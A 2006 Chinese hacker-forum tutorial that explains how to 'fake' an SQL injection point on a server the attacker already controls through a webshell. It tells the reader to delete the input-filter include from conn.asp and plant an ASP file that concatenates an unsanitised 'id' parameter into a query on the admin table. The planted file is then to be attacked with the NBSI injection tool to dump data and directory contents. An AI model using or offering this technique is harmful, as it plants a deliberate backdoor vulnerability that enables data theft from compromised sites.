| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置： 中国X黑客小组 >> 技术文章 >> 黑客技术 >> 黑客教学 >> 文章正文 用户登录 新用户注册
  如何伪造SQL注入点?    热     ★★★ 【字体：小 大】
如何伪造SQL注入点?
作者：pt007    文章来源：www.ph4nt0m.org    点击数：    更新时间：2006-1-22    

有webshell了,可以用它直接连接数据库来执行数据查询,不用再伪造注入点文件了,另外你可以直接修改网站上的原ASP文件,把里面的过滤函数包括语句删除掉就有注入点了,一般过滤函数都inlcude在数据库连接文件conn.asp文件中. 
在目标上先构造一个存在注入点的文件a.asp,里面的admin表是存在的,conn.asp是数据库连接程序,记得要把conn.asp文件中过滤函数包括语句给删掉,ASP代码如下: 
<!--#include file="conn.asp"--> 
<% 
dim rs,strSQL,id 
set rs=server.createobject("ADODB.recordset") 
id = request("id") 
strSQL = "select * from admin where id=" & id ’如果没有这个admin表,可以自己建立一个表和字段 
rs.open strSQL,conn,1,3 
rs.close 
%> 

然后输入:http://目标IP/a.asp?id=1 
完成了,就这么简单,其他的信息就让他全部自己暴露出来吧.打开nbsi,一顿狂注,什么信息都出来啦,慢慢的浏览着他的目录. 
文章录入：IceRiver    责任编辑：IceRiver 
  • 上一篇文章：

  • 下一篇文章：
    • 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
    最新热点 最新推荐 相关文章
    如何分级防御针对Linux服务器
    网上交易失窃责任归属存争议
    网络安全越来越重要 未来该如
    教您如何全面清除计算的机病
    拒绝威胁 教你如何合理高效配
    适合的才是最好的 教你如何挑
    黑帽大会研究人员展示如何攻
    如何正确使用“网络入侵检测
    如何巧妙从进程信息中 判断病
    如何解决大型企业反病毒跨地
    　　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.